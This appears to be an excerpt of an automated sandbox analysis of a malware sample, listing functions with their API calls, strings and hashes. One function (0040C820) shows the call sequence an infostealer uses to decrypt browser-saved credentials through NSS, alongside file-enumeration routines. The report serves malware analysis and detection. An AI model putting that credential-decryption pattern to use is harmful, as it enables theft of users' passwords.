String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 3fa3f2ee12f2e836b79602aabd377886f4f0b1dafe7c5e192c8de5e0e0dd2cb6
Instruction ID: 714e875f79d6a78d4ef55d9517cc66ef2926faa2735ca5eac17feb4168463fcb
Opcode Fuzzy Hash: 3fa3f2ee12f2e836b79602aabd377886f4f0b1dafe7c5e192c8de5e0e0dd2cb6
Instruction Fuzzy Hash: DE62F470A04249CFEB14CF2ACA4479ABBB1BF4531CF1841A9DC555BF92D735E886CBA0

Function 0040ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0040ED55
StrCmpCA.SHLWAPI(?,00421538), ref: 0040EDAB
StrCmpCA.SHLWAPI(?,0042153C), ref: 0040EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0040F2AE
FindClose.KERNEL32(000000FF), ref: 0040F2C3

Strings

%s\*.*, xrefs: 0040ED32

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 778c7719a30777220bc87e3d46976a940e7357f693ba23ff1da3cdd5a5f42945
Instruction ID: 3007dda49b16e6c87372febce5c45cbfe381bf5ef72a3521d52464c3f4e34f22
Opcode Fuzzy Hash: 778c7719a30777220bc87e3d46976a940e7357f693ba23ff1da3cdd5a5f42945
Instruction Fuzzy Hash: 41E13571912118AADB14FB61CD51EEE7338AF54314F4045EEB40A62092EF386FDACF69

Function 6C810EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C810F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C810FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C811006
PK11_FreeSymKey.NSS3(?), ref: 6C81101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C811033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C81103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C811048
memcpy.VCRUNTIME140(?,?,?), ref: 6C81108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C8110BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C8110D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C81112E

Part of subcall function 6C811570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C8108C4,?,?), ref: 6C8115B8
Part of subcall function 6C811570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C8108C4,?,?), ref: 6C8115C1
Part of subcall function 6C811570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C81162E
Part of subcall function 6C811570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C811637

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 345863e32090a67d13529f1bec29f816c1097a23239558485387c90e78d6bdef
Instruction ID: 53fb711bf1b1c99f6f8a2411db1013bc53eb4e9854491724e18f899183820a7e
Opcode Fuzzy Hash: 345863e32090a67d13529f1bec29f816c1097a23239558485387c90e78d6bdef
Instruction Fuzzy Hash: 1271E471E082068FDB20CFA9CE85A6AF7F0BF54318F148A2CE91997B11E731D954CB80

Function 0040C820 Relevance: 16.6, APIs: 11, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040C853
lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,00918530), ref: 0040C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C87C
PK11_GetInternalKeySlot.NSS3 ref: 0040C88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C8EB
memcpy.MSVCRT(?,?,?), ref: 0040C912
lstrcatA.KERNEL32(?,00420B46), ref: 0040C943
lstrcatA.KERNEL32(?,00420B47), ref: 0040C957
PK11_FreeSlot.NSS3(?), ref: 0040C961
lstrcatA.KERNEL32(?,00420B4E), ref: 0040C978

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlenmemcpymemset
String ID:
API String ID: 3428224297-0
Opcode ID: df20d881f5c4e2d2d6bfb338d3498bb03429a4b2b91fe4cc56399575628a5faf
Instruction ID: 73a89fe7b99aa7d2364cb4d3d60341f0774d48a816bcca14cb071eff5a8018ea
Opcode Fuzzy Hash: df20d881f5c4e2d2d6bfb338d3498bb03429a4b2b91fe4cc56399575628a5faf
Instruction Fuzzy Hash: 694164B8944219EFDB10DFE4DD89BEEBBB8BB44304F1041A9F509A6280D7745A84CF95

Function 0040DE10 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00420C2E), ref: 0040DE5E
StrCmpCA.SHLWAPI(?,004214C8), ref: 0040DEAE
StrCmpCA.SHLWAPI(?,004214CC), ref: 0040DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E3E0
FindClose.KERNEL32(000000FF), ref: 0040E3F2

Strings

\*.*, xrefs: 0040DE26
4@, xrefs: 0040DE32, 0040E400, 0040DEF3, 0040DE75, 0040DEF6

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: 4@$\*.*
API String ID: 2325840235-1993203227
Opcode ID: 4458f0c6706a93d4375afe1b968c3a2cdc6ddd7e4c5614e0ef5155561355481c
Instruction ID: cfdc3591377451865113f0b5848cbea5bd15bf7eccde512516250cd90852f391
Opcode Fuzzy Hash: 4458f0c6706a93d4375afe1b968c3a2cdc6ddd7e4c5614e0ef5155561355481c
Instruction Fuzzy Hash: 5CF1D0718111189ADB15FB61DD95EEE7338AF14314F8045EFA00A62091EF386BDACF69

Function 6C836C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C7E1C6F,00000000,00000004,?,?), ref: 6C836C3F

Part of subcall function 6C88C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C88C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C7E1C6F,00000000,00000004,?,?), ref: 6C836C60
PR_ExplodeTime.NSS3(00000000,6C7E1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C7E1C6F,00000000,00000004,?,?), ref: 6C836C94

Strings

gfff, xrefs: 6C836CFD
gfff, xrefs: 6C836CF5
gfff, xrefs: 6C836D30
gfff, xrefs: 6C836D9C
gfff, xrefs: 6C836D66

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 6771eea0b0e9c63bbc0c54fd1f3b4bcf0a3af0fa26db0695b435496175b91b75
Instruction ID: a70e8a5942f709e5ab95695b6c0c6fe4899de28a3441f5d306bc3cfff9dc5b9e
Opcode Fuzzy Hash: 6771eea0b0e9c63bbc0c54fd1f3b4bcf0a3af0fa26db0695b435496175b91b75
Instruction Fuzzy Hash: 93514B72B016494FC71CCDADDD526DAB7DAABE4310F48C23AE842DB781E638D906C791

Function 6C8B0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C8B1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C8B10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C8B1353

Strings

%02x, xrefs: 6C8B12F6
zeroblob(%d), xrefs: 6C8B1223
-- , xrefs: 6C8B0FF5
NULL, xrefs: 6C8B119E
%lld, xrefs: 6C8B114B
'%.*q', xrefs: 6C8B1217, 6C8B1292
$, xrefs: 6C8B12A0

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 77bc08671357ef69d87cf6d1dd177094c42bef6a15aee924431744599d7586d8
Instruction ID: 0a4a1a885ba0461b8fde110ad28349c1f4262c80d12420695487d84c6ab07ad6
Opcode Fuzzy Hash: 77bc08671357ef69d87cf6d1dd177094c42bef6a15aee924431744599d7586d8
Instruction Fuzzy Hash: 0EE1C171A08340DFD720CF18C584A6BBBF1AF85348F148D2DE9999BB51E775E845CB42

Function 6C8B8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C8B8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C8B90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C8B9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C8B915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C8B91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C8B9209

Strings

3333, xrefs: 6C8B925E
UUUU, xrefs: 6C8B9255

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: d919de53c4500421d61ab71c848e219875f66d19dede62820b70b3ef06f1fbdb
Instruction ID: ce0c400bbb19a27dc2a6ab2d74a18cecb2b1182ed7e55ddc5b0235efb5435548
Opcode Fuzzy Hash: d919de53c4500421d61ab71c848e219875f66d19dede62820b70b3ef06f1fbdb
Instruction Fuzzy Hash: 4AA1AF72E001159BDB14CB69CD80BAEB7B5BF48328F194539E919B7341E736EC16CBA0

Function 6C770FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C76CA30: EnterCriticalSection.KERNEL32(?,?,?,6C7CF9C9,?,6C7CF4DA,6C7CF9C9,?,?,6C79369A), ref: 6C76CA7A
Part of subcall function 6C76CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C76CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C77103E
EnterCriticalSection.KERNEL32(?), ref: 6C771139
LeaveCriticalSection.KERNEL32(?), ref: 6C771190
sqlite3_free.NSS3(00000000), ref: 6C771227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C77126E
sqlite3_free.NSS3(?), ref: 6C77127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6C771267
winAccess, xrefs: 6C77129B

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: e058ee13036ad541059f5c61e827eadb5d012efa52f5800ac21452e2b203c46b
Instruction ID: 307ce07f663a6c50c3059f0e89074318f0f1228b1f41f8fabe7198d6c50f6fb8
Opcode Fuzzy Hash: e058ee13036ad541059f5c61e827eadb5d012efa52f5800ac21452e2b203c46b
Instruction Fuzzy Hash: F4711031709209DBDF349F25DE69A6A3375EB47358F244639E91987980D730DC05CBA2

Function 6C77AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C89CF46,?,6C76CDBD,?,6C89BF31,?,?,?,?,?,?,?), ref: 6C77B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C89CF46,?,6C76CDBD,?,6C89BF31), ref: 6C77B090
sqlite3_free.NSS3(?,?,?,?,?,?,6C89CF46,?,6C76CDBD,?,6C89BF31), ref: 6C77B0A2
CloseHandle.KERNEL32(?,?,6C89CF46,?,6C76CDBD,?,6C89BF31,?,?,?,?,?,?,?,?,?), ref: 6C77B100
sqlite3_free.NSS3(?,?,00000002,?,6C89CF46,?,6C76CDBD,?,6C89BF31,?,?,?,?,?,?,?), ref: 6C77B115
sqlite3_free.NSS3(?,?,?,?,?,?,6C89CF46,?,6C76CDBD,?,6C89BF31), ref: 6C77B12D

Part of subcall function 6C769EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C77C6FD,?,?,?,?,6C7CF965,00000000), ref: 6C769F0E
Part of subcall function 6C769EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C7CF965,00000000), ref: 6C769F5D

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 06a75dcdbb7bcf8ac39d79118f32863cbfce5227c7fa2a6d3b809f2ae811dad1
Instruction ID: 924caaf2f59f26068daf87935df0b8f3b5a86dc8683af167ea420d1f77c7701e
Opcode Fuzzy Hash: 06a75dcdbb7bcf8ac39d79118f32863cbfce5227c7fa2a6d3b809f2ae811dad1
Instruction Fuzzy Hash: BA91CFB1A08209CFEF24DF25DA84B6BB7B1BF45318F24463DE41697A50EB34E854CB61

Function 6C8F8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C9414E4,6C8ACC70), ref: 6C8F8D47
PR_GetCurrentThread.NSS3 ref: 6C8F8D98

Part of subcall function 6C7D0F00: PR_GetPageSize.NSS3(6C7D0936,FFFFE8AE,?,6C7616B7,00000000,?,6C7D0936,00000000,?,6C76204A), ref: 6C7D0F1B
Part of subcall function 6C7D0F00: PR_NewLogModule.NSS3(clock,6C7D0936,FFFFE8AE,?,6C7616B7,00000000,?,6C7D0936,00000000,?,6C76204A), ref: 6C7D0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C8F8E7B
htons.WSOCK32(?), ref: 6C8F8EDB
PR_GetCurrentThread.NSS3 ref: 6C8F8F99
PR_GetCurrentThread.NSS3 ref: 6C8F910A

Strings

%u.%u.%u.%u, xrefs: 6C8F8E74

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: b7e15b16ab37a13c590c38ed817a31e26809f491e94d02eab964b70f26eb7424
Instruction ID: 6aa0e5144afb4a84b0dc95bbcab391a7243c49b4df32f253152f1afde65a1c99
Opcode Fuzzy Hash: b7e15b16ab37a13c590c38ed817a31e26809f491e94d02eab964b70f26eb7424
Instruction Fuzzy Hash: F902CC329052558FDB24CF1AC558366BBA2EF43384F198B6EC8B15BBA1C335D987C790

Function 6C712C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C712C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C712C61

Part of subcall function 6C6C4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6C4E5A
Part of subcall function 6C6C4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C6C4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C712C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C712E2D

Part of subcall function 6C6D81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6D81DE

Strings

expected a Time entry, xrefs: 6C712E36
(root), xrefs: 6C71354F
ProfileBuffer parse error: %s, xrefs: 6C712E3B

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 4889ebc0bba130c914ec364ffde80ad1b7b49e3e011fc863d850486b97cd708b
Instruction ID: a0dc4d5ea6f0ee935708caa7c8ccdcafb7308b82e5d309ab695bd6992bd50a20
